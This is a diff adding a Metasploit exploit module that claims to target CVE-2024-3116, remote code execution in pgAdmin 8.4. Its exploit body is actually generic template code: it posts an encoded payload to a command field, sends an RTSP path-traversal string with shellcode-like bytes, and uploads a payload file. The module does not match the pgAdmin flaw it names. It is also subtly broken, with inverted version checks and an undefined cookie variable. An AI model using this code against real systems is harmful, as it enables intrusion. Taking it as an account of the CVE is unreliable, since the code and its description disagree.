|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + # |
| 10 | + # This exploit affects a webapp, so we need to import HTTP Client |
| 11 | + # to easily interact with it. |
| 12 | + # |
| 13 | + prepend Msf::Exploit::Remote::AutoCheck |
| 14 | + include Msf::Exploit::Remote::HttpClient |
| 15 | + |
| 16 | + |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super( |
| 20 | + update_info( |
| 21 | + info, |
| 22 | + 'Name' => 'pgAdmin Binary Path API RCE', |
| 23 | + 'Description' => %q{ |
| 24 | + pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) |
| 25 | + vulnerability through the validate binary path API. This vulnerability |
| 26 | + allows attackers to execute arbitrary code on the server hosting PGAdmin, |
| 27 | + posing a severe risk to the database management system's integrity and the security of the underlying data. |
| 28 | +
|
| 29 | + Tested on pgAdmin 8.4 on Windows 10. |
| 30 | + }, |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'Author' => [ |
| 33 | + 'M.Selim Karahan', # metasploit module |
| 34 | + 'Ayoub Mokhtar' # vulnerability discovery and write up |
| 35 | + ], |
| 36 | + 'References' => [ |
| 37 | + [ 'CVE', '2024-3116'], |
| 38 | + [ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'], |
| 39 | + [ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116'] |
| 40 | + ], |
| 41 | + 'Platform' => ['windows'], |
| 42 | + 'Arch' => ARCH_X64, |
| 43 | + 'Targets' => [ |
| 44 | + [ 'Automatic Target', {}] |
| 45 | + ], |
| 46 | + 'DisclosureDate' => '2024-03-28', |
| 47 | + 'DefaultTarget' => 0, |
| 48 | + # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html |
| 49 | + 'Notes' => { |
| 50 | + 'Stability' => [ CRASH_SAFE, ], |
| 51 | + 'Reliability' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ], |
| 52 | + 'SideEffects' => [ REPEATABLE_SESSION, ] |
| 53 | + } |
| 54 | + ) |
| 55 | + ) |
| 56 | + register_options( |
| 57 | + [ |
| 58 | + Opt::RPORT(80), |
| 59 | + OptString.new('USERNAME', [ false, 'User to login with', 'admin']), |
| 60 | + OptString.new('PASSWORD', [ false, 'Password to login with', '123456']), |
| 61 | + OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/']) |
| 62 | + ] |
| 63 | + ) |
| 64 | + end |
| 65 | + |
| 66 | + # |
| 67 | + # The sample exploit checks the index page to verify the version number is exploitable |
| 68 | + # we use a regex for the version number |
| 69 | + # |
| 70 | + def check |
| 71 | + # only catch the response if we're going to use it, in this case we do for the version |
| 72 | + # detection. |
| 73 | + res = send_request_cgi( |
| 74 | + 'uri' => normalize_uri(target_uri.path, 'index.php'), |
| 75 | + 'method' => 'GET' |
| 76 | + ) |
| 77 | + # gracefully handle if res comes back as nil, since we're not guaranteed a response |
| 78 | + # also handle if we get an unexpected HTTP response code |
| 79 | + return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? |
| 80 | + return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code == 200 |
| 81 | + |
| 82 | + # here we're looking through html for the version string, similar to: |
| 83 | + # Version 1.2 |
| 84 | + %r{Version: (?<version>\d{1,2}\.\d{1,2})</td>} =~ res.body |
| 85 | + |
| 86 | + if version && Rex::Version.new(version) <= Rex::Version.new('1.3') |
| 87 | + CheckCode::Appears("Version Detected: #{version}") |
| 88 | + end |
| 89 | + |
| 90 | + CheckCode::Safe |
| 91 | + end |
| 92 | + |
| 93 | + # |
| 94 | + # The exploit method attempts a login, then attempts to throw a command execution |
| 95 | + # at a web page through a POST variable |
| 96 | + # |
| 97 | + def exploit |
| 98 | + # attempt a login. In this case we show basic auth, and a POST to a fake username/password |
| 99 | + # simply to show how both are done |
| 100 | + vprint_status('Attempting login') |
| 101 | + # since we will check res to see if auth was a success, make sure to capture the return |
| 102 | + res = send_request_cgi( |
| 103 | + 'uri' => normalize_uri(target_uri.path, 'login.php'), |
| 104 | + 'method' => 'POST', |
| 105 | + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), |
| 106 | + # automatically handle cookies with keep_cookies. Alternatively use cookie = res.get_cookies and 'cookie' => cookie, |
| 107 | + 'keep_cookies' => true, |
| 108 | + 'vars_post' => { |
| 109 | + 'username' => datastore['USERNAME'], |
| 110 | + 'password' => datastore['PASSWORD'] |
| 111 | + }, |
| 112 | + 'vars_get' => { |
| 113 | + 'example' => 'example' |
| 114 | + } |
| 115 | + ) |
| 116 | + |
| 117 | + # a valid login will give us a 301 redirect to /home.html so check that. |
| 118 | + # ALWAYS assume res could be nil and check it first!!!!! |
| 119 | + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? |
| 120 | + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 301 |
| 121 | + |
| 122 | + # we don't care what the response is, so don't bother saving it from send_request_cgi |
| 123 | + # datastore['HttpClientTimeout'] ONLY IF we need a longer HTTP timeout |
| 124 | + vprint_status('Attempting exploit') |
| 125 | + send_request_cgi({ |
| 126 | + 'uri' => normalize_uri(target_uri.path, 'command.html'), |
| 127 | + 'method' => 'POST', |
| 128 | + 'vars_post' => |
| 129 | + { |
| 130 | + 'cmd_str' => payload.encoded |
| 131 | + } |
| 132 | + }, datastore['HttpClientTimeout']) |
| 133 | + |
| 134 | + # send_request_raw is used when we need to break away from the HTTP protocol in some way for the exploit to work |
| 135 | + send_request_raw({ |
| 136 | + 'method' => 'DESCRIBE', |
| 137 | + 'proto' => 'RTSP', |
| 138 | + 'version' => '1.0', |
| 139 | + 'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + '.smi' |
| 140 | + }, datastore['HttpClientTimeout']) |
| 141 | + |
| 142 | + # example of sending a MIME message |
| 143 | + data = Rex::MIME::Message.new |
| 144 | + # https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb |
| 145 | + file_contents = payload.encoded |
| 146 | + data.add_part(file_contents, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"uploaded.bin\"") |
| 147 | + data.add_part('example', nil, nil, "form-data; name=\"_wpnonce\"") |
| 148 | + |
| 149 | + post_data = data.to_s |
| 150 | + |
| 151 | + res = send_request_cgi( |
| 152 | + 'method' => 'POST', |
| 153 | + 'uri' => normalize_uri(target_uri.path, 'async-upload.php'), |
| 154 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 155 | + 'data' => post_data, |
| 156 | + 'cookie' => cookie |
| 157 | + ) |
| 158 | + rescue ::Rex::ConnectionError |
| 159 | + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") |
| 160 | + end |
| 161 | +end |
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